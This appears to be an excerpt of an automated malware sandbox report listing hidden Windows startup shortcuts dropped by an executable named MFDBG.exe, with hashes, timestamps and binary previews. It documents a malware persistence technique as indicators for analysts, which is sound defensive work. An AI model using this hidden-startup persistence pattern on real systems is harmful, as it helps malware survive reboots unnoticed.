Preview:	L..................F...."...]W%.{...2.\|.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...2.\|.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_912b32319f464929b88178ad27931542.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93442356728658
Encrypted:	false
SSDEEP:	24:8+hBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Us0R6rMhpBoUBxdRd1nYyg
MD5:	2635EEFBDDD246201239C01219E3B6FF
SHA1:	0AD66979EBB9E9FB8D7819266B0517A3EC08D6B6
SHA-256:	8707A654CE89AEB26384017EF93843BAF53BE98B7E1BFEA8BC362BA1111168A2
SHA-512:	D9FFC1AC01ABF4B4A12A3B5D7BD86FC2D3033F389ABF210B4EE2B00914BC8CD11CCA10696AB16C7081494C740820D6A4495684211E7A6475EA246FA17E784EA7
Malicious:	false
Preview:	L..................F...."...]W%.{....:.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_917d94ec2dfb4d679777043e4d5dd621.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:56 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9390829177927955
Encrypted:	false
SSDEEP:	24:8fGhBfu8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8fMr0R6rMhpBoUBxdRd1nYyg
MD5:	C697A0E5600570889E3B21E2CD40F130
SHA1:	60DE612AE910D2F3E62A0CD3205CCEE02BF50E5A
SHA-256:	E93B8B44056AEC574F7DFFF91D40242C1168830AC5783ED56E3CD190963E53AF
SHA-512:	9760D8D79B3BEFBA07E730D87CED3559CC89BE223412D151A32810CBA2D7010982CE57788D4879760B41665B1390542B981F504E034ED9462925E31A15FE9E2C
Malicious:	false
Preview:	L..................F...."...]W%.{....G..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92067a47b8bf479b8f633c5fa442ace0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934149456198824
Encrypted:	false
SSDEEP:	24:8ihBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8I00R6rMhpBoUBxdRd1nYyg
MD5:	27E0878515B9448D892292D5471D4218
SHA1:	31F0F73EB1D0CDE95FC5C71ECFD5A36CD06CA148
SHA-256:	FDE0BCFEC9D78494FDC2CE8D6286B822B373D09FD631422BF4F4A3FCC8213FA7
SHA-512:	7B7918EE04FC2ED475CE3F775DB6552021B9632F433AD4808899E99FD7E56E74544445D9645ED8333B372FD72D31081D7436FE5220278291837C851AD8FBD8ED
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....1..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92089fb4ebaf4efbbba5202ef25e74c3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944940139710639
Encrypted:	false
SSDEEP:	24:8KyhBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8d90R6rMhpBoUBxdRd1nYyg
MD5:	CB7C420C56017ED3A0B87D0A06DCCE46
SHA1:	74D597642D38464DE7F385F85F463D80B613B9C5
SHA-256:	84D726EE0B734877344B39D265EC4D53342D487D46CA9D853A06E340BC78FCF9
SHA-512:	AC3AFB22F54C818C3E643C0F95D9FF32115B2FECECF3D70207C10DDC7020A0EF7A29C3FCDA5E3827A55F234EFE2E032F6DFA25782DDCA38BE25173E1D1586C3A
Malicious:	false
Preview:	L..................F...."...]W%.{....I..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_922922aae6cc43c1b0e3fa1eeb9d3877.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937854814618158
Encrypted:	false
SSDEEP:	24:8rhBfP48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8PH90R6rMhpBoUBxdRd1nYyg
MD5:	DF4EB9EC7FEE3F7A105EC27D5E2D1EBD
SHA1:	8F7A658917CD5F89E3B8912687A2112FFED81A36
SHA-256:	28F4502176D01A1267E0391BAB456A549DEB9CFEC4038FEEAEB142EB5B72BE35
SHA-512:	2C1F7ED7712BC5D9E743785C6A8EA2787340AF07A3E4BADE134A78C5CEB1EF7BADA82E9CABC21A5A60E37C22861A9FDA4ECB376C615B020A9ED935248884F850
Malicious:	false
Preview:	L..................F...."...]W%.{...T.".\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....x .\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9272c07835b444c4bbf8b49f790ec81a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93580839699998
Encrypted:	false
SSDEEP:	24:8vhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zR0R6rMhpBoUBxdRd1nYyg
MD5:	BC08051382A9538D3958A084BF04080A
SHA1:	DF352AD2FDFA0177BAA7B2583B1FCEDBA377A522
SHA-256:	E7045F77CB79E56B8E0A5B80DBADB8A94B14BF0D0CD4F96EDD42CF9000AB8138
SHA-512:	14893E32CD0EC26B844CE0634D69536BB2666CBEAB3B2C959F448283E4019BBE95405F7214AA150E81FC9D9C8FB292FC89BE4A083EAB109A08D60377DD0A74AA
Malicious:	false
Preview:	L..................F...."...]W%.{....7..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92923e86b5b14885a7ccaa1b4fc336d6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939793836777296
Encrypted:	false
SSDEEP:	24:8uphBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8upC0R6rMhpBoUBxdRd1nYyg
MD5:	7026050156640C8CF2B543A585EBEFD9
SHA1:	398ADBFC97392358571609239D6FDA5FFA9C643B
SHA-256:	CE255E12A554F09049BE7E2DEF80E960D92E75B237F8D0E175B643F4E2C5F18E
SHA-512:	F5F36948245C7EF8593B80DED4C506699E27473C9C044458BD046F9F749CC684B6D80B6531412F901D32398141D9F693968E8A7DE861A948934E8111561ACA40
Malicious:	false
Preview:	L..................F...."...]W%.{.....1.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_929d54178d5744bea81e55806feeed3c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936328300494061
Encrypted:	false
SSDEEP:	24:8b2hBfG448iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bcu490R6rMhpBoUBxdRd1nYyg
MD5:	68D5E7551E29526216BB7274B41C92ED
SHA1:	7D6211C4C4C29CC3D040F3F4B84596D37BD57428
SHA-256:	5EC26BDC7CC1D183C3BA89EEE88DE5A0C4626DAB2BCB84F8B4FE2884BEB43D0B
SHA-512:	8BB9305D050EF89F2E351D29126BA22E4E8842F13BF6EC632D44507984D170B65E4962061AE6CEE78DA039D9706EC6406D18D4006D678C4E7745D66AD7B311E4
Malicious:	false
Preview:	L..................F...."...]W%.{...7...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...7...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92e32799309041afbcd90b4d942645b4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9426529667313375
Encrypted:	false
SSDEEP:	24:87hBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/h0R6rMhpBoUBxdRd1nYyg
MD5:	D24D4863B35FCBD396520A192256EB3C
SHA1:	6D1B1D6A80151C2D691EF11A2342056FA5FDD807
SHA-256:	24755E489BFD78F1D2939B70103883194F45B1894FF163991F7F2F9F2F66B1D6
SHA-512:	8B5BB75AAD9021F2B333A307CFB63531920E72383A31BD93F48307EAD569AAC65845B3CD3F2A833E8C6E684F1DD83686EF04DD05B46CEBFE4BCA32D4FA670020
Malicious:	false
Preview:	L..................F...."...]W%.{....X..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O1..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92f7e448be834d759e73cb46c668011a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.949561384202125
Encrypted:	false
SSDEEP:	24:8BphBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Bpa0R6rMhpBoUBxdRd1nYyg
MD5:	1D923A79E3D1EA4DBE76B8AEDC22586C
SHA1:	FC4169C32DDA7F73A78430343E0A81170EDD6B35
SHA-256:	74DB411D0E6972CF5637E2F5B23590DF22292800BEE43AF75AB23F00DE595697
SHA-512:	AF4456FF13F6F61DE8CE26C0698AD2A08FF48429102D341C3CA18CDD97D76855D9399377E06AFA2976DD4AF5AAAE662AD3E6A7B16EE4EA0597181C7D07E1B2BE
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_931da369be7740e49ad3d1d7464cbea6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942856855149759
Encrypted:	false
SSDEEP:	24:8U2hBfsA8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zE10R6rMhpBoUBxdRd1nYyg
MD5:	C18DBD5AC03BF494470016795AC48DE2
SHA1:	FB9D844AF6C057BC88BB3B389D6A685820E3007E
SHA-256:	DC6C5340C803B9C52694A56D3AFC9E24E41C311273CDEEDD031BF1A3009E939E
SHA-512:	96B5D4BD1771DDCA3D15806BF140042F15682FB23B2D64CBBCEA84D1F73403400086A35126D6018090748454D0144211D543A0AC9AB814607CD2AB67377B566A
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_93459331dce848d0922ffb192ff40a21.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937979668759193
Encrypted:	false
SSDEEP:	24:82hBff8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8cc0R6rMhpBoUBxdRd1nYyg
MD5:	485F2A449523129B5DEC2352567C5F5A
SHA1:	C068023BD3EE173C190D0D4C40C5183FA83599AB
SHA-256:	560DE4BBE663E2CE3ADE14CCAEF190963BF5C7534E2C9B462BE5D776E4D51492
SHA-512:	3161754EB502DAB7C021CB5EED766574D6851D4B418DE72D6F6438459AE74D06CD46E8B008AE61E82961CF514009A11CA4CDBFFC6C7CC0A74ED4853A1D386F63
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...x_..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9352013fef514dbd99394b2a2fc1d8e8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941313815568689
Encrypted:	false
SSDEEP:	24:8rhBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Pd0R6rMhpBoUBxdRd1nYyg
MD5:	61BA6501A6ACCBA007AB10329AB40C19
SHA1:	F392CBA064A1039B5637F9936C5E45F01B721CDC
SHA-256:	81D24F6730E7FEB2D81BCBEE932B51D61F1BEEECA6553B554B3242E23049CD54
SHA-512:	2C54A167C92D93A65CDAEBB9C41259F262C11B5A38886856BC3F2D5A22AF0E72F0D85D73E8E6881C1B18CF112FB5D93A9312921A9164D5791744ADB0B6FEA8BF
Malicious:	false
